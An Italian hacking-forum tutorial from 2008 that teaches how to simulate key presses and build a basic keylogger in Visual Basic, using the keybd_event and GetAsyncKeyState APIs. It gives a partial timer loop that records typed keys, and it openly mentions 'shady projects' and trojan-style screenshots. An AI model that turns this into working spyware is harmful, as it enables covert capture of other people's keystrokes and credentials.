Isaacisback Community

No laming

Login

Esegui il login:





Password dimenticata?
Nessun account? Registrati
Anche non registrandoti avrai accesso a tutto il sito escluse le sezioni private e alcune funzioni esclusivamente per gli utenti regisrtati.

Shout Box

Latest Message: 1 month, 1 week ago
  • isaacisback : Il sito si e' trasferito :D

You have to login before you can shout!

Syndication

Home
[VB] Creare un keylogger PDF Stampa E-mail
Scritto da Administrator   
martedì 15 gennaio 2008
[MiMMuZ] cerca di dimenticare la sua ex presentandovi:

IL VB E LA TASTIERA

#############################-Disclaimer Legale-#############################
Tutto il materiale qui presente è stato scritto a puro scopo didattico, l'autore non si assume nessuna responsabilità per le informazioni qui riportate. Questo materiale può essere divulgato, modificato e chi vuole può pure metterci il prorpio nome, la gloria non fa per me!
#############################################################################

COSA è RICHIESTO:

        -una conoscenza di base del VB
        -il compilatore per VB
        -la capacità di dichiarare un'API    
        -un po' di fantasia

Se almeno una volta nella vostra vita vi è venuta la voglia di scrivervi un keylogger o di simualre la pressione di un tasto per chissà quale scopo allora questa guida fa per voi!

PARAGRAFI:
    
    1-SIMULARELA PRESSIONE DEI TASTI
    2-CONTROLLARE I TASTI

--------------------> SIMULARE LA PRESSIONE DEI TASTI <----------------------

Se per qualche losco progetto avete la necessità di far pemere un tasto su un pc senza avervi l'accesso fisico, e se magari sul quel pc gira Windows beh, prendete il vostro compilatore e dateci dentro perchè col Vb questa operazione è estremamente semplice. Le uniche cose da utilizzare saranno un API e qualche costante. Ma andiamo con ordine.
Dichiariamo la nostra funzione:

Declare Sub keybd_event Lib "user32" (ByVal bVk As Byte, ByVal bScan As Byte, ByVal dwFlags As Long, ByVal dwExtraInfo As Long)

e due costanti:

Const KEYEVENTF_EXTENDEDKEY = &H1
Const KEYEVENTF_KEYUP = &H2

Queste due costabti indicano rispetivamente la pressione del tasto (KeyDown) e il suo rilascio (KeyUp) infatti per realizzare la pressione di un tasto bisogna effetivamente farla nel codice: prima si preme e poi si rilascia il tasto, solo allora la pressione sarà caompleta. Nell'API dichiarata sopra bVk indica il tasto da premere, bScan il codice per la scansione del testo (settatelo a 0), dFlags se il tasto sarà premuto o rilasciato mentre dwExtraInfo non viene utilizzato dal VB (mettete a 0 pure questo). Detto questo sareste quasi pronti per simulare la pressione di un tasto, vi amnca solo il valore da passare a bVk. Questa variabile che conterrà il bottone da premere richiede una costante di VB relativa alla tastiera. Di seguito riporto alcune delle costanti più usate:

    Costante    Tasto        Valore
    
    vbKeyCancel   Tasto ANNULLA       3
    vbKeyBack    Tasto BACKSPACE       8
    vbKeyTab       Tasto TAB       9
    vbKeyReturn   Tasto INVIO      13
    vbKeyShift    Tasto MAIUSC      16
    vbKeyControl   Tasto CTRL      17
    vbKeyMenu      Tasto MENU       18
    vbKeyCapital Tasto BLOC MAIUSC   20
    vbKeyEscape    Tasto ESC      27
    vbKeySpace  BARRA SPAZIATRICE    32

mentre per le lettere dell'alfabeto si usano semplicemnte vbKeyA o vbKeyB e così via mentre il loro valore equivale al codice ASCII della laettera. Stesso ragionamento vale per i tsti funzione, vbKeyF1 equivarrà a F1 e vbKeyF6 equivarrà a F6. I valori dei tasti funzione partono da 112 per F1 e arrivano fino a 127 per F16.

Detto ciò vedimao con un esempio come scrivere "ciao" premendo i tasti da VB:

keybd_event vbKeyC, 0, KEYEVENTF_EXTENDEDKEY, 0
keybd_event vbKeyC, 0, KEYEVENTF_KEYUP, 0

keybd_event vbKeyI, 0, KEYEVENTF_EXTENDEDKEY, 0
keybd_event vbKeyI, 0, KEYEVENTF_KEYUP, 0

keybd_event vbKeyA, 0, KEYEVENTF_EXTENDEDKEY, 0
keybd_event vbKeyA, 0, KEYEVENTF_KEYUP, 0

keybd_event vbKeyO, 0, KEYEVENTF_EXTENDEDKEY, 0
keybd_event vbKeyO, 0, KEYEVENTF_KEYUP, 0

Il codice si commenta da sè. Una delle utilità maggiori per questa funzione è quella di poter premere il taso Stamp (Print). Questò permetterà di salavare negli appunti un'immagine rappresentatnte ciò che l'utente vedeva sul monitor quando è stat simulata tale pressione. Usando bene questo trucchetto si può realizzare uno ScreenShot come quelli presenti su molti trojan.

---------------------------> CONTROLLARE I TASTI <---------------------------

Vediamo adesso come controllare se un taso viene premuto e come realzizzare un semplice KeyLogger. La funzione da utilizzare è questa:

Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer

Ogni volta che questa funzione viene richiamata controlla se il tasto in quel momento viene premuto e ritorna un valore minore di 0 se è vero, uguale a 0 se è falso. A questo punto per realizzare un KeyLogger basta creare un controllo Timer col valore di Interval settato vivino al valore indicante la velocità di ripetizione dei tasti (se il valore è troppo alto rischiate di perdervi dei tasti, se è troppo baso rischiate di ripetere la pressione di un tasto) e mettere all'interno di questo controllo un enunciato If...Then...ElseIF... per controllare quali tasti vengono premuti e una procedura che aperto un file stampi in esso i tasti battuti. Vediamo un esempio:

'Per sapere il tempo di ripetizione usate questa API

Declare Function SystemParamsLong Lib "user32" Alias "SystemParametersInfoA" (ByVal uAction As Long, ByVal uParam As Long, lpvParam As Long, ByVal fuWinIni As Long) As Long

'Costante che indichera che a noi interessa la velocità di ripetizione e non il tempo di ritardo

Const SPI_GETKEYBOARDSPEED = 10

'fatevi una sub con questo

Dim Key_Speed as Long
Dim Testo as String

SystemParamsLong SPI_GETKEYBOARDSPEED, 0, Key_Speed, 0

'Key_Speed conterrà il tempo di ripetizione della tastiera.

Timer1.Interval=Key_Speed+60 'aumeto un po' il ritardo per migliorare le prestazioni

Private Sub Timer1_Timer()

If GetAsyncKeyState(vbKeyA) Then
   Testo = Testo + "a"
ElseIf GetAsyncKeyState(vbKeyB) Then
   Testo = Testo + "b"
ElseIf GetAsyncKeyState(vbKeyC) Then
   Testo = Testo + "c"
ElseIf..

'qui continuerebbe

End Sub


Mi sembra tutto semplice, a questo punto sarete in grado di migliorare questo abbozzo di KeyLogger, per quanto mi riguarda dovreste avere in mano tutte le informazioni per sbizzarirvi con la tastiera.

Per commenti, insulti, incoraggiamenti o critiche non esistate a scrivermi.
e-mail: Indirizzo e-mail protetto dal bots spam , deve abilitare Javascript per vederlo
ICQ #67313050
 
< Prec.   Pros. >

Pubblicità

Links

Uppami.com - Free Image Hosting

Upper - Aumento visite

 

Sondaggi

Che sezione dovrei aumentare?
 

Informazioni client


Piattaforma = Sconosciuto
Browser = Sconosciuto
Versione = Sconosciuto
Indirizzo IP = 38.103.63.60
Porta = 80

Chi e' online

Statistiche

OS:
PHP: 4.4.8
MySQL: 4.1.22-standard-log
Ora: 01:42
Caching: Disabled
GZIP: Disabled
Utenti: 97
Notizie: 424
Collegamenti web: 0
Visitatori: 234989

Banners






PageRank Del sito:

PageRankFree.com




hacker emblem

RiSpETTo AllA CoMuNiTà Di HaCkErz







Copyright © 2007 by isaacisback





Pubblicità!


MD5 Crypter || smith sisters murdered anonymously || Reportage Sugli Hackers
image
WordList da 1,5 GB || Guida al Cross Site Scripting || Hackers fuorilegge e angeli